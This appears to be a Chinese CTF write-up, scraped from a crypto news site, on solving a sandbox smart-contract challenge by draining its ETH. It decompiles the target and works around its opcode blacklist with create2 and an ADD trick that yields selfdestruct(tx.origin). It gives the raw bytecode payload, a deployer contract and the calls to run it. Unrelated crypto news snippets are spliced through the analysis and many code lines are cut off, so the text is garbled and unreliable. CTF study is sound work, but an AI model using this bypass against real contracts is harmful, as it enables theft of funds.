基于samczsun的解析文章学习
分析原文:
本文都是基于https://samczsun
elseif(0x2918435f==function_selector){0x2918435f();}elseif(0x4214352d==function_selector){0x4214352d();}elseif(0x74e3fb3e==function_selector){0x74e3fb3e();}
再看到其的全局变量,一共有两个,分别在slot0和slot1的位置处。可以看到这两个全局变量都是uint256数组。
uint256array_0;//STORAGEuint256_owners;//STORAGE
依次分析函数,找到我们感兴趣的部分,然后再深入调查该函数,看是否能够达到我们的目标——拿到该合约的所有ETH。
互操作性协议Connext Labs完成750万美元融资:6月14日消息,互操作性协议Connext Labs以2.5亿美元的估值筹集750万美元,Polychain Capital、Polygon Ventures、Coinbase Ventures、Ethereal Ventures、1kx、Hashed和Scalar Capital等参投。该轮融资使Connext的总融资额达到2320万美元。新资金将用于设立Connext基金会,该基金会将负责向Connext建立的计划发放发展补助金和资金。
Connext表示正在“构建Web3的HTTP”,形成跨不同区块链网络的通信层,以便应用程序可以同时与多个网络上的资金和数据进行交互。[2023/6/14 21:36:29]
首先是函数1:0x4214352d
function0x4214352d(uint256varg0,uint256varg1)publicnonPayable{require(msg
嘉信理财或将推出加密ETF“Schwab Crypto Economy ETF”:3月3日消息,基金巨头嘉信理财(Charles Schwab)的资产管理部门正在寻求推出加密 ETF,拟议的加密 ETF 名为“Schwab Crypto Economy ETF”,主要向涉及数字资产的公司以及与区块链技术相关的商业活动提供投资敞口,该 ETF 计划将至少 80% 的净资产投资于 Schwab Crypto Economy Index 中的股票,但他们没有明确列出具体的股票名称和代码,也没有透露费率信息,且不会直接投资数字资产。(Blockworks)[2022/3/3 13:33:55]
//翻译一下functionset_array(uint256_value,uint256_key)public{require(msg
可以看到该函数主要是对array_0进行赋值,在赋值前检查了两项:
AssangeDAO已筹集超过12000枚ETH,已超过ConstitutionDAO:2月7日消息,为解放维基解密创始人朱利安·阿桑奇而战的加密朋克团体AssangeDAO已通过JuiceBox平台筹集超过12000枚ETH,现已达到12441枚ETH,超过了ConstitutionDAO(People)筹集的11613枚ETH。
AssangeDAO旨在筹集ETH以换取$JUSTICE治理代币,以竞标由数字艺术家Pak与JulianAssange合作制作的1/1NFT。从NFT出售中筹集的收益将用于为朱利安·阿桑奇进行辩护的基金,用于支付法律费用和提高人们对朱利安引渡案的认识的宣传活动。[2022/2/7 9:35:32]
msg
=>functionget_array(uint256_key)publicviewreturns(uint256){require(msg
Conflux:“私募投资人解锁条件调整”投票结果的公告:关于“生态基金用途、是否需要提高挖矿设备内存要求、私募投资人的解锁条件调整以及未来发起 Conflux DAO 生态治理投票的方式”的一系列投票已于 4 月 15 日结束。
其中 Conflux DAO# 6 “私募投资人的解锁条件调整”的投票结果显示,共271.583K CFX(占比96.50%),支持未来基金会不通过投资人提前解锁的请求,并建议投资人延长锁仓期限。
根据投票结果,《经济白皮书》中所提及的提前解锁条款未来将不再触发。同时基金会将与私募投资人就按月线性解锁的速率调整进行协商,具体协商结果,将另行通知。[2021/4/16 20:26:42]
与set_array函数类似
再看函数3:owners
functionowners(uint256varg0)publicnonPayable{require(msg
动态 | ConsenSys Grants下月将在纽约举办黑客马拉松:据以太坊联合创始人Joseph Lubin推文消息,ConsenSys Grants将于7月19日至21日在纽约举办黑客马拉松。ConsenSys Grants将资助正在构建改善以太坊开发人员和用户体验所需的基础架构、工具和组件相关项目。据悉,ConsenSys Grants为ConsenSys于2018年11月公布的资助计划,将为以太坊基础设施项目拨款50万美元。[2019/6/26]
=>functionowners(uint256_key)publicviewreturns(address){require(msg
最后看函数4:0x2918435f
function0x2918435f(addressvarg0)publicpayable{require(msg
v2=1;}require(v0);MEM=MEM(varg0
assert(v5<varg0
v7,v8=varg0
require(v7);}
可以看到函数40x2918435f比较复杂,简单分析函数4中有三层require:
要求调用该函数的msg
v2=1;}require(v0);=>翻译一下:boolpermit=false;uint256i=0;while(i<_owners
i=1;}require(permit);
3.要求作为传入参数的地址addr,逐字节检查该参数地址对应的代码,要求其中不含有0xf0,0xf1,0xf2,0xf4,0xfa,0xff等字节。在黄皮书中这几个字节对应的分别是:create,call,callcode,delegatecall,staticcall,selfdestruct.这部分对应的代码比较复杂,我们将对比opcode,逐字翻译```MEM=MEM(varg0
assert(v5<varg0
}
问题分析-2
现在我们需要满足第三个条件,即构造一个合约,该合约对应的runtimecode中不含有0xf0,0xf1,0xf2,0xf4,0xfa,0xff等字节,因此需要我们手动来写合约,然后通过该sandbox的第四个函数来delegatecall该合约,从而清空sandbox中的ETH。
首先明确我们使用create2,其为0xf5,我们可以首先看下黄皮书中关于create2的定义
简单来说是先计算出要创建的合约的地址,然后执行要创建的合约的初始化代码,再将该初始化代码与要创建的合约地址进行关联。
故我们需要一个合约,他的runtimecode中执行一个create2函数,创建一个临时合约,并将上下文环境中的address(this)里的全部ETH都作为赠品赠与该临时合约,该临时合约的初始化代码中应该执行selfdestruct(tx.orgin)函数来将所有的ETH转移给合约部署人。
先用opcode来写runtimecode:
//tx.origin这里的ORIGIN是payload,不应该被执行,故需要改为push10x32//SELFDESTRUCT//构造payload,因为SELFDESTRUCT是0xff,不能被使用,故可以通过ADD来绕道实现push20x32fe//0x32fepush10x01//0x32fe0x01ADD//0x32ffpush10x40//0x32ff0x40mstore//构造payload0x40->0x32ff,push100//Us->salt盐push10x04//Us->length长度4push10x3e//us->offset偏移值->内存中0x400x20-0x2=0x3eADDRESSBALANCE//Us->ETH数量->应该是该address(this)的所有ETHcreate2=>6132fe60010160405260006004603e3031f5
在写该合约的初始化代码,可以用solidity写了,因为是我自己执行来部署该runtimecode
contractHackCTF{constructor()publicpayable{assembly{mstore(0x00,0x6132fe60010160405260006004603e3031f5)return(0x0e,0x12。}
然后部署HackCTF合约,在调用ctf中的第四个函数,将该合约的地址作为参数传进去即可
hacker=HackCTF.deploy({"from":alice})ctf.hack(hacker,{'from':alice})print(alice.balance())
免责声明:作为区块链信息平台,本站所发布文章仅代表作者个人观点,与链闻ChainNews立场无关。文章内的信息、意见等均仅供参考,并非作为或被视为实际投资建议。
本文来源于非小号媒体平台:
登链社区
现已在非小号资讯平台发布105篇作品,
非小号开放平台欢迎币圈作者入驻
入驻指南:
/apply_guide/
本文网址:
/news/10087897.html
免责声明:
1.资讯内容不构成投资建议,投资者应独立决策并自行承担风险
2.本文版权归属原作所有,仅代表作者本人观点,不代表非小号的观点或立场
上一篇:
SendingLabs完成1250万美元种子轮融资,以构建「Web3通信堆栈」
作者|秦晓峰编辑|郝方舟出品|Odaily星球日报作为区块链最重要的特性,透明开放一直备受追捧。但在区块链主流化过程中,开放透明与现实所需要的隐私性之间产生了矛盾,隐私难题愈发突出.
1900/1/1 0:00:00尊敬的ZT用户:????ZT于2021年6月18日17:00开启交易DOGE、PIG、SHIB、BABYDOG送SHAB活动.
1900/1/1 0:00:00为最大化用户投资收益,Gate.io现已隆重开放UNI/USDT、SHIB/USDT、DOGE/USDT、GT/USDT、FIL/USDT、LTC/USDT、XRP/USDT、DOT/USDT、.
1900/1/1 0:00:00尊敬的用户:币虎U本位合约已于2021年6月18日18:00上线SOLUSDT,FTMUSDT,ICPUSDT,NKNUSDT,ALICEUSDT,VETUSDT,LUNAUSDT.
1900/1/1 0:00:00Gate.ioSAITO超级福利:充值、交易SKRT,赢$13,000美元大奖活动已圆满结束,根据活动规则,我们已为符合规则的用户发放了活动奖励。用户可进入“钱包—账单明细”查询奖励发放情况.
1900/1/1 0:00:00作者:茉莉;编辑:文刀一排排比特币矿机释放的荧光熄灭,6月19日晚,四川境内的比特币矿工关机视频在币圈人的社交网络中流传,借着「Bye」的背景配乐诉说无奈.
1900/1/1 0:00:00